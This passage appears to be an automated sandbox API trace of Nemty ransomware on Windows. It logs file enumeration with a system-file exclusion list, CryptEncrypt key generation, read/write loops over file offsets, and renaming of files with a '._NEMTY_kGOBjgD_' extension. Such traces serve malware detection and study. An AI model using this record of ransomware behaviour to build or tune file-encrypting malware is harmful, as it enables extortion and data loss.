lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0126.617] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0126.617] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0126.617] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0126.617] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0126.626] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0126.627] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0126.627] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0126.627] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0126.636] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0126.636] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0126.636] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0126.636] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0126.645] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0126.645] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0126.645] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0126.645] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0126.651] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0126.651] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0126.651] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106059876, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0126.651] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0126.657] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106059876, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0126.657] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0126.657] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106162276, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0126.657] WriteFile (in: hFile=0xffffffff, lpBuffer=0x63402a8, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0126.657] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0126.658] CloseHandle (hObject=0xffffffff) returned 0 [0126.658] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340418 [0126.658] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0126.658] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0126.658] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0126.658] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0126.658] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0126.658] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63404c0 [0126.658] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6343fe8 [0126.658] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404c0 | out: hHeap=0x4f90000) returned 1 [0126.658] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0126.658] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\en-US\\js\\library.js" (normalized: "c:\\program files\\windows sidebar\\gadgets\\currency.gadget\\en-us\\js\\library.js"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\en-US\\js\\library.js._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\currency.gadget\\en-us\\js\\library.js._nemty_kgobjgd_")) returned 0 [0126.658] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0126.658] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340418 | out: hHeap=0x4f90000) returned 1 [0126.658] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0126.658] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63402a8 | out: hHeap=0x4f90000) returned 1 [0126.658] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0126.658] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0126.658] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0126.658] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340200 | out: hHeap=0x4f90000) returned 1 [0126.658] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x118ea0e8, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x118ea0e8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2bf4, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="localizedStrings.js", cAlternateFileName="")) returned 1 [0126.658] lstrcmpiW (lpString1="localizedStrings.js", lpString2=".") returned 1 [0126.658] lstrcmpiW (lpString1="localizedStrings.js", lpString2="..") returned 1 [0126.658] lstrcmpiW (lpString1="localizedStrings.js", lpString2="...") returned 1 [0126.658] lstrcmpiW (lpString1="localizedStrings.js", lpString2="windows") returned -1 [0126.658] lstrcmpiW (lpString1="localizedStrings.js", lpString2="$RECYCLE.BIN") returned 1 [0126.658] lstrcmpiW (lpString1="localizedStrings.js", lpString2="rsa") returned -1 [0126.658] lstrcmpiW (lpString1="localizedStrings.js", lpString2="NTDETECT.COM") returned -1 [0126.658] lstrcmpiW (lpString1="localizedStrings.js", lpString2="ntldr") returned -1 [0126.658] lstrcmpiW (lpString1="localizedStrings.js", lpString2="MSDOS.SYS") returned -1 [0126.658] lstrcmpiW (lpString1="localizedStrings.js", lpString2="IO.SYS") returned 1 [0126.659] lstrcmpiW (lpString1="localizedStrings.js", lpString2="boot.ini") returned 1 [0126.659] lstrcmpiW (lpString1="localizedStrings.js", lpString2="boot.ini") returned 1 [0126.659] lstrcmpiW (lpString1="localizedStrings.js", lpString2="AUTOEXEC.BAT") returned 1 [0126.659] lstrcmpiW (lpString1="localizedStrings.js", lpString2="ntuser.dat") returned -1 [0126.659] lstrcmpiW (lpString1="localizedStrings.js", lpString2="desktop.ini") returned 1 [0126.659] lstrcmpiW (lpString1="localizedStrings.js", lpString2="CONFIG.SYS") returned 1 [0126.659] lstrcmpiW (lpString1="localizedStrings.js", lpString2="RECYCLER") returned -1 [0126.659] lstrcmpiW (lpString1="localizedStrings.js", lpString2="BOOTSECT.BAK") returned 1 [0126.659] lstrcmpiW (lpString1="localizedStrings.js", lpString2="bootmgr") returned 1 [0126.659] lstrcmpiW (lpString1="localizedStrings.js", lpString2="programdata") returned -1 [0126.659] lstrcmpiW (lpString1="localizedStrings.js", lpString2="appdata") returned 1 [0126.659] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0126.659] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="localizedStrings.js", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0126.659] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0126.659] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="localizedStrings.js", cchWideChar=19, lpMultiByteStr=0x4f9ecb8, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="localizedStrings.js", lpUsedDefaultChar=0x0) returned 19 [0126.659] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0126.659] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0126.659] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="localizedStrings.js", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0126.659] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0126.659] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="localizedStrings.js", cchWideChar=19, lpMultiByteStr=0x4f9ecb8, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="localizedStrings.js", lpUsedDefaultChar=0x0) returned 19 [0126.659] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0126.659] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0126.659] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0126.659] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0126.659] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="localizedStrings.js", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0126.659] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0126.659] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="localizedStrings.js", cchWideChar=19, lpMultiByteStr=0x4f9ecb8, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="localizedStrings.js", lpUsedDefaultChar=0x0) returned 19 [0126.659] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0126.659] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0126.659] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="localizedStrings.js", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0126.659] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0126.659] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="localizedStrings.js", cchWideChar=19, lpMultiByteStr=0x4f9ed58, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="localizedStrings.js", lpUsedDefaultChar=0x0) returned 19 [0126.659] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0126.659] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340200 [0126.659] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340158 | out: hHeap=0x4f90000) returned 1 [0126.659] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63402b8 [0126.660] Sleep (dwMilliseconds=0x5) [0126.670] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0xff25e1b0, dwHighDateTime=0x1d561e7)) [0126.670] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0xff25e1b0, dwHighDateTime=0x1d561e7)) [0126.670] GetLastError () returned 0x5 [0126.670] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0126.670] GetLastError () returned 0x5 [0126.670] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0126.670] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0126.670] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0126.670] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0126.670] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0126.670] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0126.670] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340370 [0126.670] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340370, pcchString=0x653e5dc | out: pszString="ykzOW+1rYe5Edm3PKeyQ9m/PvEXfeBb2QDZEN73TyVKhyZUfLUqcoFRU2U0OL4PO\r\npfpOGLhGJPNOhIiQCr15YmCZ5IV6P/c/lez9UHuk+5LFdDzTqnwEoPbhUcU+pxTC\r\n8LXcjX/TB1IQed+PH2t7af6i1rGncAVSBeaN5mTftfGe8NjSKiK16oo91uP3jPFU\r\nDPwsnzE18tokpnOH3lN33Guy/StXpzCBMlsZJFKpkBg9GzgF5ZmSCZ/FSS02NxvT\r\nfGUL1Qxr1pjlK8p7ifKZHuS63eVw0XaQPOn12JlYIuLNalEKQfVPrQ+5cz0uCZt4\r\nR1F3fI5PL3JqKkLyl36bhg==\r\n", pcchString=0x653e5dc) returned 1 [0126.670] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0126.670] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340370 | out: hHeap=0x4f90000) returned 1 [0126.670] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0126.670] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0126.670] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340370 [0126.670] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0126.671] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\en-US\\js\\localizedStrings.js" (normalized: "c:\\program files\\windows sidebar\\gadgets\\currency.gadget\\en-us\\js\\localizedstrings.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0126.671] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=18150282790955108) returned 0 [0126.671] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0126.671] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0126.671] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0126.681] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0126.681] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0126.681] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0126.681] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0126.690] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0126.690] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0126.690] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0126.690] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0126.700] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0126.700] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0126.700] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0126.700] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0126.709] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0126.709] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0126.709] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0126.709] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0126.718] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0126.718] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0126.718] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0126.718] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0126.727] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0126.727] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0126.727] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0126.728] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0126.737] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0126.737] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0126.737] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0126.737] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0126.746] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0126.746] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0126.746] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0126.746] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0126.755] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0126.755] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0126.755] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0126.755] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0126.776] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0126.776] WriteFile (in: hFile=0xffffffff, 